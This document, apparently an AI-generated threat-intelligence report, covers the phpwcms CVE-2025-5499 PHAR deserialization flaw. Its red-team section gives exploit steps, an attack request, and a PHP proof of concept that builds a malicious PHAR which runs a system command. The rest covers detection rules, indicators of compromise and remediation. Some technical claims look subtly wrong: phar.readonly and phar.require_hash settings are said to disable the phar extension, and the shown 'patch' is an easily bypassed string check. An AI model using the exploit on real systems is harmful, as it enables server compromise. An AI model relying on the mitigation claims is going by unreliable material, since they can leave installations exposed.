CVE-2025-5499

Executive Summary

CVE-2025-5499 is a critical deserialization vulnerability in the image_resized.php file of the phpwcms content management system, affecting versions up to 1.9.45 and 1.10.8. The vulnerability is triggered by manipulating the imgfile argument, which is passed to the is_file and getimagesize functions. Due to insecure deserialization of user-supplied input, an unauthenticated remote attacker can achieve arbitrary code execution, leading to full system compromise. The exploit has been publicly disclosed, and active exploitation is likely. The vendor has released patches in versions 1.9.46 and 1.10.9.

Supply Chain & Package Security

phpwcms is a PHP-based CMS distributed via its official website and GitHub. While not an NPM/PyPI package, the vulnerability affects all installations using the vulnerable versions. Organizations should verify the integrity of their phpwcms installation and ensure no backdoored copies are in use.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivially exploitable without authentication, making it a top priority for patching.

Deep Dive & Mechanics

The vulnerability resides in include/inc_ext/phpwcms_image_resize/image_resized.php. The imgfile parameter is directly passed to PHP's is_file() and getimagesize() functions. In PHP, these functions can trigger deserialization when the input is a phar:// or other stream wrapper pointing to a malicious PHAR archive. By crafting a request like:

/image_resized.php?imgfile=phar://path/to/malicious.phar

An attacker can cause the application to deserialize a PHAR archive, leading to arbitrary code execution via a gadget chain. The exploit does not require authentication and can be performed remotely.

Vulnerable vs. Patched Code

Vulnerable Code (phpwcms <= 1.9.45 / 1.10.8):

// image_resized.php
$imgfile = $_GET['imgfile'];
if (is_file($imgfile) && getimagesize($imgfile)) {
    // process image
}

Patched Code (phpwcms >= 1.9.46 / 1.10.9):

// image_resized.php
$imgfile = $_GET['imgfile'];
// Validate that the file is a real image and not a phar stream
if (strpos($imgfile, 'phar://') === false && is_file($imgfile) && getimagesize($imgfile)) {
    // process image
}

The patch adds a check to reject phar:// URIs, preventing PHAR deserialization attacks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A phpwcms instance running a vulnerable version (<= 1.9.45 or <= 1.10.8)
• Ability to upload a malicious PHAR file (e.g., via file upload functionality or other means)

Exploit Steps:

1. Create a malicious PHAR archive containing a PHP object that executes arbitrary code (e.g., using a gadget chain from common PHP libraries).
2. Upload the PHAR file to the server (e.g., via the CMS file manager or a separate upload endpoint).
3. Trigger the deserialization by sending a request to image_resized.php with the imgfile parameter pointing to the uploaded PHAR file:

   GET /image_resized.php?imgfile=phar://uploads/malicious.phar HTTP/1.1
   Host: target.com
   

4. The server will deserialize the PHAR archive, executing the embedded payload.

Example PHAR Creation (PHP):

<?php
class AnyClass {
    public function __destruct() {
        system('id');
    }
}
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new AnyClass());
$phar->stopBuffering();
?>

Blue Team

Detection:

• Monitor web server logs for requests to image_resized.php containing phar:// in the imgfile parameter.
• Look for unusual file uploads with .phar extension or files that are not typical images.
• Use file integrity monitoring to detect unexpected changes to PHP files.

Hunting:

• Search for phar:// in web access logs.
• Check for recently created files with .phar extension in upload directories.
• Review PHP error logs for deserialization-related warnings.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /image_resized.php with imgfile=phar:// in the query string.
  • Outbound connections from the web server to unknown IPs (post-exploitation C2).
• File System:
  • Presence of .phar files in upload directories or temporary folders.
  • Unexpected files in include/inc_ext/phpwcms_image_resize/ directory.
  • Modified PHP files (e.g., webshells).
• Process:
  • Unusual PHP processes executing system commands.
  • Processes spawned by the web server user (e.g., www-data) running shell commands.

Detection Engineering

YARA Rule

rule CVE_2025_5499_Phar_Deserialization {
    meta:
        description = "Detects PHAR deserialization attempts targeting CVE-2025-5499"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-5499"
    strings:
        $phar_uri = "phar://" nocase
        $imgfile_param = "imgfile=" nocase
        $image_resized = "image_resized.php" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-5499 PHAR Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting CVE-2025-5499 via phar:// in imgfile parameter
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'image_resized.php'
            - 'imgfile=phar://'
    condition: selection
falsepositives:
    - Legitimate use of phar:// in other contexts (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5499 - phpwcms PHAR Deserialization Attempt"; flow:to_server,established; content:"GET"; http_method; content:"image_resized.php"; http_uri; content:"imgfile=phar://"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpwcms to version 1.9.46 or 1.10.9 immediately.
2. If upgrade is not possible, apply a virtual patch by adding input validation to block phar:// URIs in the imgfile parameter.
3. Restrict file upload functionality to only allow safe file types (e.g., images only) and scan uploaded files for PHAR headers.

Long-term Measures:

• Implement a Web Application Firewall (WAF) rule to block requests containing phar:// in query parameters.
• Disable the phar extension in PHP if not required (phar.readonly = 1 and phar.require_hash = 1).
• Regularly update all CMS components and third-party libraries.
• Conduct security audits of custom code for insecure deserialization patterns.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Monitor for anomalous file creation and process execution.

Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence, under the guidance of Valters IT security standards.